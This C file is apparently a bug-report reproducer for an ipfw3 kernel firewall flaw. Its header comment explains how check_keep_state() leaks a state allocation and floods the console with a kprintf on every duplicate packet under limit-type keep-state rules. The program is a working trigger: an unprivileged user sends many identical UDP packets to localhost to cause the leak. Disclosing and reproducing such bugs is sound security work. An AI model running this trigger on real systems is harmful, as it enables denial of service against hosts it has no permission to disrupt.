/*
 * DF-3434 - ipfw3 check_keep_state() leaks a state per duplicate packet on
 *           limit-type keep-state rules and kprintf("oops")-floods the
 *           console (ip_fw3_state.c:301-330).
 *
 * With a rule like
 *     ipfw3 add allow udp from any to any keep-state limit src-port 100
 * check_keep_state() runs the arg3 != 0 branch: the RB_FIND() de-dup check
 * (cmd->arg3 == 0, ip_fw3_state.c:296-300) is SKIPPED, so every packet of an
 * already-tracked flow re-allocates a state and RB_INSERT() returns the
 * existing node (non-NULL).  The code only does kprintf("oops\n") at
 * ip_fw3_state.c:327-329 and NEVER kfrees the fresh allocation -> one
 * LEN_FW3_STATE (64B bucket) leak per packet plus a console kprintf per
 * packet (serial-console log-flood / console-lock amplification).
 *
 * The leak per tree is bounded by the (never-decremented, DF-0632)
 * *the_count gate, but the kprintf is once per packet, unbounded.
 *
 * This trigger: send N identical UDP packets (same 5-tuple) from a bound
 * unprivileged socket to 127.0.0.1 discard.  Run as an unprivileged user
 * AFTER root installed the rule (setup.sh).
 */
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int
main(int argc, char **argv)
{
	struct sockaddr_in to;
	char buf[16];
	int s, i, n = argc > 1 ? atoi(argv[1]) : 20;

	s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s < 0) { perror("socket"); return 1; }
	memset(&to, 0, sizeof(to));
	to.sin_family = AF_INET;
	to.sin_port = htons(9);		/* discard */
	to.sin_addr.s_addr = htonl(0x7f000001);
	/* fixed local port => identical 5-tuple on every send */
	{
		struct sockaddr_in me;
		memset(&me, 0, sizeof(me));
		me.sin_family = AF_INET;
		me.sin_port = htons(44444);
		me.sin_addr.s_addr = htonl(0x7f000001);
		if (bind(s, (struct sockaddr *)&me, sizeof(me)) < 0)
			perror("bind (continuing)");
	}
	memset(buf, 'A', sizeof(buf));
	for (i = 0; i < n; i++) {
		if (sendto(s, buf, sizeof(buf), 0,
		    (struct sockaddr *)&to, sizeof(to)) < 0)
			perror("sendto");
		usleep(20000);	/* let the console kprintf drain */
	}
	printf("sent %d identical udp packets\n", n);
	return 0;
}
